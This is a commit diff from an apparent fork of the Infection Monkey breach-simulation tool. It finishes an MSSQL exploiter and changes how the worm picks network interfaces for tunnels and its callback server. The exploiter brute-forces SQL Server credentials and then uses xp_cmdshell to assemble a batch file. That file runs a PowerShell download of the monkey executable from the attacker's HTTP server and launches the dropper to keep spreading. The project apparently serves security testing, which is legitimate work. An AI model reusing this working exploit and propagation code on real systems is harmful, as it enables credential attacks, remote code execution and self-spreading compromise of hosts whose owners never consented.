forked from p15670423/monkey
Mssql almost done, improved networking.
This commit is contained in:
parent
0c7f30b834
commit
290abdc26d
|
@ -2,12 +2,13 @@ import os
|
||||||
import logging
|
import logging
|
||||||
from time import sleep
|
from time import sleep
|
||||||
import pymssql
|
import pymssql
|
||||||
|
import textwrap
|
||||||
|
|
||||||
from infection_monkey.exploit import HostExploiter, mssqlexec_utils, tools
|
from infection_monkey.exploit import HostExploiter, mssqlexec_utils, tools
|
||||||
from common.utils.exploit_enum import ExploitType
|
from common.utils.exploit_enum import ExploitType
|
||||||
from infection_monkey.exploit.tools import HTTPTools
|
from infection_monkey.exploit.tools import HTTPTools
|
||||||
from infection_monkey.config import WormConfiguration
|
from infection_monkey.config import WormConfiguration
|
||||||
|
from infection_monkey.model import DROPPER_ARG, RUN_MONKEY
|
||||||
|
|
||||||
__author__ = 'Maor Rayzin'
|
__author__ = 'Maor Rayzin'
|
||||||
|
|
||||||
|
@ -22,6 +23,10 @@ class MSSQLExploiter(HostExploiter):
|
||||||
SQL_DEFAULT_TCP_PORT = '1433'
|
SQL_DEFAULT_TCP_PORT = '1433'
|
||||||
DEFAULT_PAYLOAD_PATH_WIN = os.path.expandvars(r'~PLD123.bat')
|
DEFAULT_PAYLOAD_PATH_WIN = os.path.expandvars(r'~PLD123.bat')
|
||||||
DEFAULT_PAYLOAD_PATH_LINUX = '~PLD123.bat'
|
DEFAULT_PAYLOAD_PATH_LINUX = '~PLD123.bat'
|
||||||
|
# Temporary file that saves commands for monkey's download.
|
||||||
|
TMP_FILE_NAME = 'tmp_monkey.bat'
|
||||||
|
# Monkey file name
|
||||||
|
MONKEY_FILE = 'monkey.exe'
|
||||||
|
|
||||||
def __init__(self, host):
|
def __init__(self, host):
|
||||||
super(MSSQLExploiter, self).__init__(host)
|
super(MSSQLExploiter, self).__init__(host)
|
||||||
|
@ -48,25 +53,62 @@ class MSSQLExploiter(HostExploiter):
|
||||||
True or False depends on process success
|
True or False depends on process success
|
||||||
"""
|
"""
|
||||||
username_passwords_pairs_list = self._config.get_exploit_user_password_pairs()
|
username_passwords_pairs_list = self._config.get_exploit_user_password_pairs()
|
||||||
|
|
||||||
payload_path = MSSQLExploiter.DEFAULT_PAYLOAD_PATH_LINUX if 'linux' in self.host.os['type'] \
|
|
||||||
else MSSQLExploiter.DEFAULT_PAYLOAD_PATH_WIN
|
|
||||||
|
|
||||||
if not self.create_payload_file(payload_path):
|
|
||||||
return False
|
|
||||||
cursor = self.brute_force(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, username_passwords_pairs_list)
|
cursor = self.brute_force(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, username_passwords_pairs_list)
|
||||||
|
|
||||||
if not cursor:
|
if not cursor:
|
||||||
LOG.error("Bruteforce process failed on host: {0}".format(self.host.ip_addr))
|
LOG.error("Bruteforce process failed on host: {0}".format(self.host.ip_addr))
|
||||||
return False
|
return False
|
||||||
|
# Get monkey exe for host and it's path
|
||||||
|
|
||||||
def execute_command(self, cursor, cmds):
|
src_path = tools.get_target_monkey(self.host)
|
||||||
|
if not src_path:
|
||||||
|
LOG.info("Can't find suitable monkey executable for host %r", self.host)
|
||||||
|
return False
|
||||||
|
|
||||||
|
# Create server for http download and wait for it's startup.
|
||||||
|
http_path, http_thread = HTTPTools.create_locked_transfer(self.host, src_path)
|
||||||
|
if not http_path:
|
||||||
|
LOG.debug("Exploiter failed, http transfer creation failed.")
|
||||||
|
return False
|
||||||
|
LOG.info("Started http server on %s", http_path)
|
||||||
|
|
||||||
|
# TODO choose bit version
|
||||||
|
dst_path = os.path.join(WormConfiguration.monkey_dir_windows, MSSQLExploiter.MONKEY_FILE)
|
||||||
|
tmp_file_path = os.path.join(WormConfiguration.monkey_dir_windows, MSSQLExploiter.TMP_FILE_NAME)
|
||||||
|
commands = ["xp_cmdshell \"mkdir %s\"" % WormConfiguration.monkey_dir_windows]
|
||||||
|
MSSQLExploiter.execute_command(cursor, commands)
|
||||||
|
commands = [
|
||||||
|
"xp_cmdshell \"<nul set /p=powershell (new-object System.Net.WebClient).DownloadFile>%s\"" % tmp_file_path,
|
||||||
|
"xp_cmdshell \"<nul set /p=(^\'%s^\' >>%s\"" % (http_path, tmp_file_path),
|
||||||
|
"xp_cmdshell \"<nul set /p=, ^\'%s^\') >>%s\"" % (dst_path, tmp_file_path)]
|
||||||
|
MSSQLExploiter.execute_command(cursor, commands)
|
||||||
|
commands = ["exec xp_cmdshell \"%s\"" % tmp_file_path]
|
||||||
|
MSSQLExploiter.execute_command(cursor, commands)
|
||||||
|
|
||||||
|
monkey_args = tools.build_monkey_commandline(self.host,
|
||||||
|
tools.get_monkey_depth() - 1,
|
||||||
|
dst_path)
|
||||||
|
monkey_args = ["xp_cmdshell \"<nul set /p=%s >>%s\"" % (part, tmp_file_path)
|
||||||
|
for part in textwrap.wrap(monkey_args, 40)]
|
||||||
|
|
||||||
|
commands = ["xp_cmdshell \"<nul set /p=%s %s >%s\"" % (dst_path, DROPPER_ARG, tmp_file_path)]
|
||||||
|
commands.extend(monkey_args)
|
||||||
|
MSSQLExploiter.execute_command(cursor, commands)
|
||||||
|
|
||||||
|
commands = ["exec xp_cmdshell \"%s\"" % tmp_file_path]
|
||||||
|
MSSQLExploiter.execute_command(cursor, commands)
|
||||||
|
return True
|
||||||
|
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def execute_command(cursor, cmds):
|
||||||
try:
|
try:
|
||||||
# Running the cmd on remote host
|
# Running the cmd on remote host
|
||||||
for cmd in cmds:
|
for cmd in cmds:
|
||||||
cursor.execute(cmd)
|
cursor.execute(cmd)
|
||||||
sleep(0.5)
|
sleep(0.5)
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
LOG.error('Error sending the payload using xp_cmdshell to host', exc_info=True)
|
LOG.error('Error sending the payload using xp_cmdshell to host: %s' % e)
|
||||||
return False
|
return False
|
||||||
return True
|
return True
|
||||||
|
|
||||||
|
@ -85,30 +127,6 @@ class MSSQLExploiter(HostExploiter):
|
||||||
chosen_attack = self.attacks_list[0](payload, cursor, self.host)
|
chosen_attack = self.attacks_list[0](payload, cursor, self.host)
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
# Get monkey exe for host and it's path
|
|
||||||
src_path = tools.get_target_monkey(self.host)
|
|
||||||
if not src_path:
|
|
||||||
LOG.info("Can't find suitable monkey executable for host %r", self.host)
|
|
||||||
return False
|
|
||||||
# Create server for http download and wait for it's startup.
|
|
||||||
http_path, http_thread = HTTPTools.create_locked_transfer(self.host, src_path)
|
|
||||||
if not http_path:
|
|
||||||
LOG.debug("Exploiter failed, http transfer creation failed.")
|
|
||||||
return False
|
|
||||||
# TODO choose bit version
|
|
||||||
dst_path = WormConfiguration.dropper_target_path_win_64
|
|
||||||
dst_path = "c:\\windows\\temp\\monkey64.exe"
|
|
||||||
LOG.info("Started http server on %s", http_path)
|
|
||||||
tmp_file_path = "c:\\windows\\temp\\monkey_tmp.bat"
|
|
||||||
commands = ["xp_cmdshell \"<nul set /p=powershell (new-object System.Net.WebClient).DownloadFile>%s\"" % tmp_file_path,
|
|
||||||
"xp_cmdshell \"<nul set /p=(^\'%s^\' >>%s\"" % (http_path, tmp_file_path),
|
|
||||||
"xp_cmdshell \"<nul set /p=, ^\'%s^\') >>%s\"" % (dst_path, tmp_file_path)]
|
|
||||||
chosen_attack.execute_command(commands)
|
|
||||||
commands2 = ["exec xp_cmdshell \"%s\"" % tmp_file_path]
|
|
||||||
chosen_attack.execute_command(commands2)
|
|
||||||
|
|
||||||
if chosen_attack.send_payload():
|
if chosen_attack.send_payload():
|
||||||
LOG.debug('Payload: {0} has been successfully sent to host'.format(payload))
|
LOG.debug('Payload: {0} has been successfully sent to host'.format(payload))
|
||||||
if chosen_attack.execute_payload():
|
if chosen_attack.execute_payload():
|
||||||
|
|
|
@ -19,6 +19,7 @@ from infection_monkey.windows_upgrader import WindowsUpgrader
|
||||||
from infection_monkey.post_breach.post_breach_handler import PostBreach
|
from infection_monkey.post_breach.post_breach_handler import PostBreach
|
||||||
from common.utils.attack_utils import ScanStatus
|
from common.utils.attack_utils import ScanStatus
|
||||||
from infection_monkey.transport.attack_telems.victim_host_telem import VictimHostTelem
|
from infection_monkey.transport.attack_telems.victim_host_telem import VictimHostTelem
|
||||||
|
from infection_monkey.exploit.tools import get_interface_to_target
|
||||||
|
|
||||||
__author__ = 'itamar'
|
__author__ = 'itamar'
|
||||||
|
|
||||||
|
@ -39,6 +40,7 @@ class InfectionMonkey(object):
|
||||||
self._exploiters = None
|
self._exploiters = None
|
||||||
self._fingerprint = None
|
self._fingerprint = None
|
||||||
self._default_server = None
|
self._default_server = None
|
||||||
|
self._default_server_port = None
|
||||||
self._depth = 0
|
self._depth = 0
|
||||||
self._opts = None
|
self._opts = None
|
||||||
self._upgrading_to_64 = False
|
self._upgrading_to_64 = False
|
||||||
|
@ -59,6 +61,10 @@ class InfectionMonkey(object):
|
||||||
self._parent = self._opts.parent
|
self._parent = self._opts.parent
|
||||||
self._default_tunnel = self._opts.tunnel
|
self._default_tunnel = self._opts.tunnel
|
||||||
self._default_server = self._opts.server
|
self._default_server = self._opts.server
|
||||||
|
try:
|
||||||
|
self._default_server_port = self._default_server.split(':')[1]
|
||||||
|
except KeyError:
|
||||||
|
self._default_server_port = ''
|
||||||
if self._opts.depth:
|
if self._opts.depth:
|
||||||
WormConfiguration._depth_from_commandline = True
|
WormConfiguration._depth_from_commandline = True
|
||||||
self._keep_running = True
|
self._keep_running = True
|
||||||
|
@ -172,8 +178,8 @@ class InfectionMonkey(object):
|
||||||
if monkey_tunnel:
|
if monkey_tunnel:
|
||||||
monkey_tunnel.set_tunnel_for_host(machine)
|
monkey_tunnel.set_tunnel_for_host(machine)
|
||||||
if self._default_server:
|
if self._default_server:
|
||||||
|
machine.set_default_server(get_interface_to_target(machine.ip_addr)+':'+self._default_server_port)
|
||||||
LOG.debug("Default server: %s set to machine: %r" % (self._default_server, machine))
|
LOG.debug("Default server: %s set to machine: %r" % (self._default_server, machine))
|
||||||
machine.set_default_server(self._default_server)
|
|
||||||
|
|
||||||
# Order exploits according to their type
|
# Order exploits according to their type
|
||||||
self._exploiters = sorted(self._exploiters, key=lambda exploiter_: exploiter_.EXPLOIT_TYPE.value)
|
self._exploiters = sorted(self._exploiters, key=lambda exploiter_: exploiter_.EXPLOIT_TYPE.value)
|
||||||
|
|
|
@ -2,7 +2,6 @@ import logging
|
||||||
import socket
|
import socket
|
||||||
import struct
|
import struct
|
||||||
import time
|
import time
|
||||||
from difflib import get_close_matches
|
|
||||||
from threading import Thread
|
from threading import Thread
|
||||||
|
|
||||||
from infection_monkey.model import VictimHost
|
from infection_monkey.model import VictimHost
|
||||||
|
@ -10,6 +9,7 @@ from infection_monkey.network.firewall import app as firewall
|
||||||
from infection_monkey.network.info import local_ips, get_free_tcp_port
|
from infection_monkey.network.info import local_ips, get_free_tcp_port
|
||||||
from infection_monkey.network.tools import check_tcp_port
|
from infection_monkey.network.tools import check_tcp_port
|
||||||
from infection_monkey.transport.base import get_last_serve_time
|
from infection_monkey.transport.base import get_last_serve_time
|
||||||
|
from infection_monkey.exploit.tools import get_interface_to_target
|
||||||
|
|
||||||
__author__ = 'hoffer'
|
__author__ = 'hoffer'
|
||||||
|
|
||||||
|
@ -148,9 +148,9 @@ class MonkeyTunnel(Thread):
|
||||||
try:
|
try:
|
||||||
search, address = self._broad_sock.recvfrom(BUFFER_READ)
|
search, address = self._broad_sock.recvfrom(BUFFER_READ)
|
||||||
if '?' == search:
|
if '?' == search:
|
||||||
ip_match = get_close_matches(address[0], self.l_ips) or self.l_ips
|
ip_match = get_interface_to_target(address[0])
|
||||||
if ip_match:
|
if ip_match:
|
||||||
answer = '%s:%d' % (ip_match[0], self.local_port)
|
answer = '%s:%d' % (ip_match, self.local_port)
|
||||||
LOG.debug("Got tunnel request from %s, answering with %s", address[0], answer)
|
LOG.debug("Got tunnel request from %s, answering with %s", address[0], answer)
|
||||||
self._broad_sock.sendto(answer, (address[0], MCAST_PORT))
|
self._broad_sock.sendto(answer, (address[0], MCAST_PORT))
|
||||||
elif '+' == search:
|
elif '+' == search:
|
||||||
|
@ -187,8 +187,8 @@ class MonkeyTunnel(Thread):
|
||||||
if not self.local_port:
|
if not self.local_port:
|
||||||
return
|
return
|
||||||
|
|
||||||
ip_match = get_close_matches(host.ip_addr, local_ips()) or self.l_ips
|
ip_match = get_interface_to_target(host.ip_addr)
|
||||||
host.default_tunnel = '%s:%d' % (ip_match[0], self.local_port)
|
host.default_tunnel = '%s:%d' % (ip_match, self.local_port)
|
||||||
|
|
||||||
def stop(self):
|
def stop(self):
|
||||||
self._stopped = True
|
self._stopped = True
|
||||||
|
|
Loading…
Reference in New Issue